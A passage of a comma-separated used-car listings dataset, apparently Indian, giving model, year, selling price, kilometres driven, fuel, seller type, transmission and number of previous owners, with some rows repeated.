BSIV,2012,75000,29900,Petrol,Individual,Manual,First Owner +Tata Hexa XT 4X4,2017,1600000,3000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet VX,2012,185000,85000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 2.6 CRDe SLE,2011,425000,50000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aqua 1.4 TDI,2010,100000,120000,Diesel,Individual,Manual,Second Owner +Maruti Zen Estilo LXI BSIII,2008,140000,90000,Petrol,Individual,Manual,Third Owner +Maruti Swift Dzire AMT ZXI Plus BS IV,2017,710000,8000,Petrol,Individual,Automatic,First Owner +Honda Amaze S AT i-Vtech,2015,450000,7900,Petrol,Individual,Automatic,First Owner +Datsun RediGO T Option,2017,210000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2016,270000,25000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2009,110000,20000,Petrol,Individual,Manual,First Owner +Maruti Swift VXI,2018,540000,17500,Petrol,Individual,Manual,First Owner +Mahindra Renault Logan 1.4 GLX Petrol,2008,145000,25000,Petrol,Individual,Manual,First Owner +Tata Safari Storme VX,2013,360000,206500,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna LPG,2013,250000,88600,LPG,Individual,Manual,First Owner +Tata Venture EX,2012,110000,80000,Diesel,Individual,Manual,First Owner +Chevrolet Captiva LT,2008,250000,100000,Diesel,Individual,Manual,Fourth & Above Owner +Ford Fiesta Classic 1.4 Duratorq CLXI,2011,150000,186000,Diesel,Individual,Manual,Second Owner +Chevrolet Aveo U-VA 1.2 LS,2010,140000,60000,Petrol,Individual,Manual,First Owner +Maruti Ciaz Zeta BSIV,2019,925000,11000,Petrol,Individual,Manual,First Owner +Tata Hexa XM,2017,969999,30000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GL PLUS CNG,2007,90000,80000,CNG,Individual,Manual,Third Owner +Hyundai Santro GLS I - Euro I,2001,55000,60000,Petrol,Individual,Manual,Third Owner +Hyundai Verna CRDi,2007,155000,100000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra Thar CRDe ABS,2019,900000,15000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2011,135000,90000,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2012,180000,120000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2013,495000,100000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 V Diesel 8-seater,2009,400000,138000,Diesel,Individual,Manual,Third Owner +Hyundai Verna CRDi,2008,250000,110000,Diesel,Individual,Manual,Second Owner +Maruti Alto K10 LXI,2015,138000,120000,Petrol,Individual,Manual,Fourth & Above Owner +Honda City 1.5 V AT,2011,311000,70000,Petrol,Individual,Automatic,Second Owner +Maruti Alto 800 VXI,2015,190000,70000,Petrol,Individual,Manual,First Owner +Mahindra Bolero SLX,2011,311000,140000,Diesel,Individual,Manual,First Owner +Maruti Ritz LXI,2009,300000,15000,Petrol,Individual,Manual,First Owner +Honda Jazz VX,2018,600000,20000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio SLE BSIII,2009,550000,100000,Diesel,Individual,Manual,First Owner +Skoda Rapid 1.6 MPI AT Elegance Plus,2015,600000,70000,Petrol,Individual,Automatic,First Owner +Maruti Alto 800 VXI,2018,195000,5000,Petrol,Individual,Manual,First Owner +Tata Nano LX,2013,58000,27974,Petrol,Individual,Manual,First Owner +Maruti Alto 800 VXI,2018,183000,40000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 VXI BSIII,2007,95000,80000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2013,250000,38000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2013,250000,38000,Petrol,Individual,Manual,First Owner +Tata Zest Revotron 1.2 XT,2014,400000,35000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX CRDi (O),2012,409999,60000,Diesel,Individual,Manual,Second Owner +Skoda Octavia Classic 1.9 TDI MT,2004,120000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift AMT VXI,2018,600000,18000,Petrol,Individual,Automatic,First Owner +Honda Amaze SX i-VTEC,2016,600000,10000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2015,825000,90000,Diesel,Individual,Manual,Third Owner +Toyota Etios GD,2016,625000,80000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 Nios Magna CRDi,2020,700000,1400,Diesel,Individual,Manual,First Owner +Chevrolet Beat LS,2011,160000,60000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2011,114999,60000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R LXI Minor,2009,150000,53000,Petrol,Individual,Manual,First Owner +Volkswagen Jetta 1.9 L TDI,2010,250000,100000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 SX,2012,390000,86000,Diesel,Dealer,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2015,650000,100000,Diesel,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi SX Option,2016,600000,30000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Sportz,2011,250000,120000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GL Plus LPG,2011,229999,60000,LPG,Individual,Manual,Second Owner +Maruti Ritz LDi,2016,299000,50000,Diesel,Individual,Manual,Second Owner +Chevrolet Cruze LTZ,2010,330000,124000,Diesel,Individual,Manual,Second Owner +Hyundai Accent Executive,2012,180000,100000,Petrol,Individual,Manual,Third Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,475000,42000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Sportz,2015,325000,100000,Diesel,Individual,Manual,First Owner +Honda City i VTEC V,2016,639000,28205,Petrol,Dealer,Manual,First Owner +Maruti Celerio VXI AT,2017,415000,32670,Petrol,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi AT SX Plus,2016,1199000,30093,Diesel,Dealer,Automatic,First Owner +Maruti Ertiga VXI CNG,2013,525000,56228,CNG,Dealer,Manual,First Owner +Hyundai Verna 1.6 SX VTVT,2013,425000,59319,Petrol,Dealer,Manual,First Owner +Maruti Vitara Brezza VDi,2016,699000,39503,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz Dual Tone,2013,325000,35299,Petrol,Dealer,Manual,First Owner +Toyota Etios V,2011,275000,51687,Petrol,Dealer,Manual,First Owner +Volkswagen Vento Petrol Highline AT,2011,269000,76259,Petrol,Dealer,Automatic,First Owner +Volkswagen Polo Diesel Highline 1.2L,2013,399000,44049,Diesel,Dealer,Manual,First Owner +Mahindra KUV 100 mFALCON D75 K8,2017,475000,45087,Diesel,Dealer,Manual,First Owner +Toyota Etios V,2011,249000,41125,Petrol,Dealer,Manual,First Owner +Audi A4 New 2.0 TDI Multitronic,2014,1549000,42215,Diesel,Dealer,Automatic,First Owner +Volkswagen Polo Petrol Highline 1.2L,2011,254999,54206,Petrol,Dealer,Manual,First Owner +Skoda Rapid 1.6 MPI Active,2012,269000,52547,Petrol,Dealer,Manual,First Owner +Maruti Ertiga ZDI,2014,665000,59110,Diesel,Dealer,Manual,First Owner +Maruti Wagon R Stingray LXI,2014,299000,54565,Petrol,Dealer,Manual,First Owner +Hyundai i20 Asta,2010,265000,47564,Petrol,Dealer,Manual,Second Owner +Volkswagen Polo Petrol Highline 1.2L,2010,211000,45143,Petrol,Dealer,Manual,Second Owner +Skoda Superb 1.8 TSI,2013,599000,61624,Petrol,Dealer,Automatic,Second Owner +Tata Indigo LS,2007,55000,195000,Diesel,Individual,Manual,Third Owner +Hyundai Verna 1.6 SX CRDi (O),2014,550000,50000,Diesel,Individual,Manual,First Owner +Land Rover Discovery Sport TD4 HSE 7S,2018,4000000,68000,Diesel,Individual,Automatic,First Owner +Tata Sumo GX TC 8 Str,2010,220000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift VXI,2019,500000,20000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2010,140000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2013,325000,60000,Diesel,Individual,Manual,First Owner +Hyundai i20 Magna,2010,210000,90000,Petrol,Individual,Manual,Third Owner +Maruti Alto LXi,2008,110000,90000,Petrol,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 SX Option,2019,1200000,25000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 VXI,2017,229999,40000,Petrol,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2006,165000,132000,Petrol,Individual,Manual,First Owner +Tata Tiago XZA AMT,2018,525000,10980,Petrol,Dealer,Automatic,First Owner +Hyundai EON Era Plus,2018,325000,20629,Petrol,Dealer,Manual,First Owner +Toyota Innova Crysta 2.4 VX MT BSIV,2018,1500000,50000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 AT Asta,2015,400000,30000,Petrol,Individual,Automatic,First Owner +Maruti Ciaz VXi,2015,550000,69782,Petrol,Dealer,Manual,First Owner +Maruti 800 Std,2003,98000,54000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2013,900000,63654,Diesel,Dealer,Manual,First Owner +Renault Lodgy 85PS RxL,2017,700000,60000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S6 Plus 7 Seater,2015,890000,52000,Diesel,Dealer,Manual,First Owner +Maruti Swift LDI BSIV,2015,490000,59385,Diesel,Dealer,Manual,First Owner +Hyundai i20 2015-2017 Magna 1.2,2015,525000,70378,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI BS IV,2013,330000,55425,Petrol,Dealer,Manual,First Owner +Mahindra Bolero 2011-2019 SLX 2WD BSIII,2013,550000,78413,Diesel,Dealer,Manual,Second Owner +Mahindra Bolero Power Plus SLX,2018,790000,40890,Diesel,Dealer,Manual,First Owner +Honda Brio S MT,2015,350000,34823,Petrol,Dealer,Manual,Second Owner +Toyota Innova Crysta 2.8 ZX AT BSIV,2017,1700000,75000,Diesel,Individual,Automatic,First Owner +Maruti Ciaz VDI SHVS,2017,750000,55545,Diesel,Dealer,Manual,First Owner +Honda Amaze EX i-Dtech,2014,409999,56541,Diesel,Dealer,Manual,First Owner +Hyundai EON Magna Plus,2016,220000,43700,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2009,68000,120000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus,2017,290000,20000,Petrol,Individual,Manual,First Owner +Honda City i DTec SV,2014,600000,27483,Diesel,Dealer,Manual,First Owner +Maruti Swift LXI,2019,470000,8000,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz 1.2,2008,150000,30000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,180000,56207,Petrol,Dealer,Manual,Second Owner +Maruti Zen LXI,2006,80000,70000,Petrol,Individual,Manual,First Owner +Honda WR-V i-VTEC VX,2018,875000,1440,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2019,300000,50000,Petrol,Individual,Manual,First Owner +Toyota Fortuner 2.8 2WD AT BSIV,2017,2800000,20000,Diesel,Individual,Automatic,First Owner +Toyota Innova Crysta 2.4 ZX MT,2017,1330000,91195,Diesel,Dealer,Manual,First Owner +Volkswagen Polo 1.5 TDI Trendline,2011,220000,63657,Diesel,Dealer,Manual,First Owner +Mahindra Verito Vibe 1.5 dCi D4,2013,250000,60000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2016,919999,75000,Diesel,Dealer,Manual,First Owner +Volkswagen Vento Magnific 1.6 Highline,2013,380000,97248,Petrol,Dealer,Manual,First Owner +Maruti Swift VDI,2012,450000,46000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 VTVT AT S Option,2016,770000,10000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire LDI,2018,550000,80000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 GX 4x2,2011,320000,100000,Diesel,Individual,Manual,Second Owner +Maruti SX4 Vxi BSIV,2013,400000,35000,Petrol,Individual,Manual,First Owner +Maruti Celerio VXI AT,2017,450000,50000,Petrol,Individual,Automatic,First Owner +Maruti SX4 ZDI,2011,220000,90000,Diesel,Individual,Manual,Third Owner +Mahindra XUV500 W8 2WD,2012,400000,150000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX VTVT (O),2013,530000,89000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2014,390000,60000,Diesel,Individual,Manual,Second Owner +Fiat Grande Punto 1.3 Dynamic (Diesel),2012,185000,100000,Diesel,Individual,Manual,Second Owner +Maruti SX4 Vxi BSIV,2012,300000,100000,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI BSIV,2014,575000,90000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R Stingray VXI,2014,300000,75000,Petrol,Individual,Manual,First Owner +Toyota Etios Liva 1.4 VD,2017,425000,36000,Diesel,Dealer,Manual,First Owner +Hyundai Xcent 1.2 Kappa SX,2016,350000,12000,Petrol,Individual,Manual,First Owner +Honda Amaze VX O iDTEC,2017,550000,12997,Diesel,Dealer,Manual,First Owner +Maruti Ciaz 1.4 AT Zeta,2017,500000,40000,Petrol,Individual,Automatic,First Owner +Mahindra Scorpio S4 4WD,2015,600000,60000,Diesel,Individual,Manual,First Owner +Mahindra Quanto C8,2013,300000,25000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 SX Option,2018,1150000,26430,Diesel,Dealer,Manual,First Owner +Maruti Swift 1.3 VXI ABS,2015,475000,24600,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2011,260000,28481,Petrol,Dealer,Manual,First Owner +Ford Ecosport 1.0 Ecoboost Titanium Optional,2013,350000,100000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,750000,41988,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2009,180000,30375,Petrol,Dealer,Manual,First Owner +Renault KWID Climber 1.0 AMT BSIV,2017,350000,7658,Petrol,Dealer,Automatic,First Owner +Maruti Swift Dzire VDI,2017,611000,34400,Diesel,Dealer,Manual,First Owner +Renault KWID RXL BSIV,2017,325000,18500,Petrol,Dealer,Manual,First Owner +Hyundai EON 1.0 Era Plus,2012,225000,48000,Petrol,Dealer,Manual,First Owner +Maruti Wagon R AMT VXI,2014,300000,28942,Petrol,Dealer,Automatic,First Owner +Mahindra Bolero Power Plus SLX,2017,400000,50000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W8 2WD,2012,711000,53600,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2015,851000,53652,Diesel,Dealer,Manual,First Owner +Maruti Ertiga VXI,2014,500000,25000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G4 Diesel 8-seater,2007,250000,80000,Diesel,Individual,Manual,Second Owner +Maruti Alto 800 VXI,2017,150000,50000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S10,2016,610000,15000,Diesel,Individual,Manual,Second Owner +Mahindra KUV 100 G80 K2,2018,450000,5000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Asta Option,2017,744000,106000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0,2008,120000,100000,Petrol,Individual,Manual,Third Owner +Renault KWID RXL,2016,220000,60000,Petrol,Individual,Manual,Third Owner +Maruti Ertiga ZDI,2012,480000,120000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Celerio ZXI Optional AMT BSIV,2017,370000,82000,Petrol,Individual,Automatic,First Owner +Fiat Palio D 1.9 EL PS,2003,55000,35000,Diesel,Individual,Manual,Second Owner +Hyundai EON Magna Plus,2013,125000,205000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 CRDI,2011,260000,125000,Diesel,Individual,Manual,Third Owner +Fiat Linea Classic 1.3 Multijet,2015,350000,130000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 CNG LXI,2012,170000,97000,CNG,Individual,Manual,Second Owner +Hyundai Grand i10 Sportz,2015,350000,90000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2009,250000,60000,Petrol,Individual,Manual,Third Owner +Tata Indigo CR4,2013,170000,60000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S11 BSIV,2018,1300000,35000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2019,550000,25000,Petrol,Individual,Manual,First Owner +Honda Brio 1.2 S MT,2017,400000,15000,Petrol,Individual,Manual,First Owner +Tata Nano Lx,2011,120000,20000,Petrol,Individual,Manual,First Owner +Tata Nano Lx,2011,120000,20000,Petrol,Individual,Manual,First Owner +Ford Figo Petrol Titanium,2010,275000,70000,Petrol,Individual,Manual,First Owner +Tata Zest Revotron 1.2T XE,2016,285000,90000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.4 CRDi Base,2016,900000,80000,Diesel,Individual,Manual,First Owner +Mercedes-Benz M-Class ML 350 CDI,2014,2500000,79500,Diesel,Individual,Automatic,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2013,620000,70000,Diesel,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 GX MT 8S BSIV,2018,1700000,5000,Diesel,Individual,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Titanium Plus,2018,650000,15000,Petrol,Individual,Manual,First Owner +Maruti Ertiga VXI,2014,500000,35000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x4,2009,250000,120000,Diesel,Individual,Manual,Second Owner +Mahindra Marazzo M4,2018,950000,15000,Diesel,Individual,Manual,Second Owner +Toyota Etios Cross 1.2L G,2015,320000,60000,Petrol,Individual,Manual,First Owner +Renault Duster 110PS Diesel RxZ,2013,450000,120000,Diesel,Individual,Manual,First Owner +Mahindra KUV 100 mFALCON D75 K8 AW,2016,350000,90000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VXI,2015,400000,90000,Petrol,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2018,200000,10000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi (Diesel),2009,250000,72000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.0 GX 8 STR BSIV,2011,550000,197000,Petrol,Individual,Manual,Second Owner +Maruti Zen LXI,1999,85000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Santro LP zipPlus,2001,52000,50000,Petrol,Individual,Manual,Third Owner +Tata Hexa XTA,2017,1200000,50000,Diesel,Individual,Automatic,First Owner +Hyundai Verna 1.6 SX VTVT AT,2011,450000,60000,Petrol,Individual,Automatic,Third Owner +Maruti Swift Dzire VXI 1.2 BS IV,2018,615000,40000,Petrol,Individual,Manual,First Owner +Maruti SX4 ZDI Leather,2012,400000,60000,Diesel,Individual,Manual,Second Owner +Tata Nano LX,2013,60000,40000,Petrol,Individual,Manual,First Owner +Maruti Ignis 1.2 Alpha BSIV,2017,500000,9161,Petrol,Individual,Manual,First Owner +Honda Mobilio V i VTEC,2015,600000,45000,Petrol,Individual,Manual,First Owner +Hyundai Getz 1.3 GVS,2010,110000,110000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GL Plus,2013,175000,80000,Petrol,Individual,Manual,First Owner +Ford Fiesta Titanium 1.5 TDCi,2011,325000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire LDI,2017,425000,90000,Diesel,Individual,Manual,First Owner +Hyundai Accent GLE CNG,2009,160000,70000,CNG,Individual,Manual,Third Owner +Maruti Zen Estilo LXI BSIII,2007,100000,80000,Petrol,Individual,Manual,Third Owner +Maruti Swift Dzire LDI,2014,390000,110000,Diesel,Individual,Manual,Second Owner +Hyundai i20 1.2 Spotz,2017,400000,50000,Petrol,Individual,Manual,First Owner +Tata Tigor 1.2 Revotron XM,2018,509999,5000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna 1.1,2008,150000,90000,Petrol,Individual,Manual,Third Owner +Hyundai Santro Xing GLS,2009,110000,120000,Petrol,Individual,Manual,First Owner +Nissan Sunny Diesel XV,2013,450000,80000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Spotz,2017,400000,38000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing GLS,2009,140000,120000,Petrol,Individual,Manual,First Owner +Tata Indigo CR4,2011,130000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2017,160000,50000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2016,150000,60000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,500000,100000,Diesel,Individual,Manual,Second Owner +Tata Nano Std,2011,40000,19000,Petrol,Individual,Manual,First Owner +Chevrolet Tavera LT L1 7 Seats BSIII,2006,140000,200000,Diesel,Individual,Manual,Third Owner +Mahindra Verito 1.5 D2 BSIV,2015,227000,70000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI,2011,285000,50000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX,2012,155000,19077,Petrol,Individual,Manual,Second Owner +Hyundai EON D Lite,2016,210000,30000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2009,140000,80000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 7 Seater,2015,940000,128000,Diesel,Individual,Manual,First Owner +Nissan Terrano XV Premium 110 PS,2013,750000,80000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,610000,100000,Diesel,Individual,Manual,First Owner +Nissan Sunny XV D Premium Leather,2015,450000,50000,Diesel,Individual,Manual,First Owner +Toyota Etios Liva GD,2012,409999,56000,Diesel,Individual,Manual,First Owner +Hyundai EON 1.0 Era Plus,2018,100000,21302,Petrol,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,300000,10500,Petrol,Individual,Manual,First Owner +Mahindra Bolero 2011-2019 SLX,2013,400000,107000,Diesel,Individual,Manual,First Owner +Hyundai i10 Sportz 1.2,2010,210000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XG eRLX Euro III,2006,90000,120000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI BS IV,2010,222000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2015,240000,50000,Petrol,Individual,Manual,Second Owner +Toyota Etios Liva GD,2013,450000,70000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Volkswagen Jetta 2.0L TDI Highline AT,2012,735000,55300,Diesel,Dealer,Automatic,First Owner +Tata Indica Vista Quadrajet 90 VX,2012,285000,74300,Diesel,Dealer,Manual,First Owner +Honda City VX MT,2010,350000,48781,Petrol,Dealer,Manual,First Owner +Volkswagen Jetta 1.9 Highline TDI,2010,290000,87620,Diesel,Dealer,Automatic,First Owner +Volkswagen Vento 1.5 TDI Highline Plus AT,2017,890000,40219,Diesel,Dealer,Automatic,First Owner +Honda Jazz VX,2011,385000,11473,Petrol,Dealer,Manual,First Owner +Maruti Eeco 5 Seater AC BSIV,2017,425000,8352,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI AMT1.2BSIV,2017,525000,9745,Petrol,Dealer,Automatic,First Owner +Hyundai Grand i10 Asta,2017,550000,9748,Petrol,Dealer,Manual,First Owner +Volkswagen Polo 1.0 MPI Trendline,2012,271000,49000,Petrol,Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX Option,2018,1490000,20694,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 Asta Option,2015,490000,31080,Petrol,Dealer,Manual,First Owner +Hyundai EON Era Plus,2014,260000,37605,Petrol,Dealer,Manual,First Owner +Hyundai Xcent 1.1 CRDi SX Option,2014,455000,55850,Diesel,Dealer,Manual,First Owner +Tata Nano Lx BSIV,2010,75000,58850,Petrol,Dealer,Manual,First Owner +Toyota Etios Cross 1.2L G,2015,421000,23839,Petrol,Dealer,Manual,First Owner +Maruti Swift DDiS LDI,2016,550000,54000,Diesel,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.2 AT,2013,330000,38000,Petrol,Dealer,Automatic,First Owner +Volkswagen Vento 1.5 TDI Comfortline,2012,390000,45454,Diesel,Dealer,Manual,First Owner +Skoda Rapid 1.5 TDI AT Ambition,2015,599000,46957,Diesel,Dealer,Automatic,First Owner +Hyundai Getz GLE,2007,110000,60000,Petrol,Individual,Manual,Fourth & Above Owner +Renault KWID RXT Optional,2016,250000,25000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio M2DI,2012,600000,110000,Diesel,Individual,Manual,Fourth & Above Owner +Ford Endeavour XLT TDCi 4X2,2008,280000,190000,Diesel,Individual,Manual,Second Owner +Audi Q3 35 TDI Quattro Technology,2018,2700000,25000,Diesel,Individual,Automatic,First Owner +Mahindra Renault Logan 1.4 GLX Petrol,2008,80000,90000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2019,350000,5000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,475000,60000,Diesel,Individual,Manual,First Owner +Audi A5 Sportback,2020,4700000,1500,Diesel,Individual,Automatic,First Owner +Maruti Swift Dzire VDI,2018,500000,50000,Diesel,Individual,Manual,First Owner +Chevrolet Sail Hatchback 1.3 TCDi LT ABS,2014,250000,120000,Diesel,Individual,Manual,First Owner +Hyundai Accent CRDi,2005,100000,120000,Diesel,Individual,Manual,Second Owner +Maruti Alto K10 VXI Airbag,2019,350000,5000,Petrol,Individual,Manual,First Owner +BMW 7 Series Signature 730Ld,2014,4000000,47000,Diesel,Individual,Automatic,First Owner +Toyota Camry 2.5 Hybrid,2017,1900000,20000,Petrol,Individual,Automatic,First Owner +Hyundai Santro Xing XG,2005,95000,120000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 CRDi Sportz,2015,409999,58000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W5 BSIV,2018,1050000,35000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 VXI,2017,320000,30000,Petrol,Individual,Manual,First Owner +Mahindra 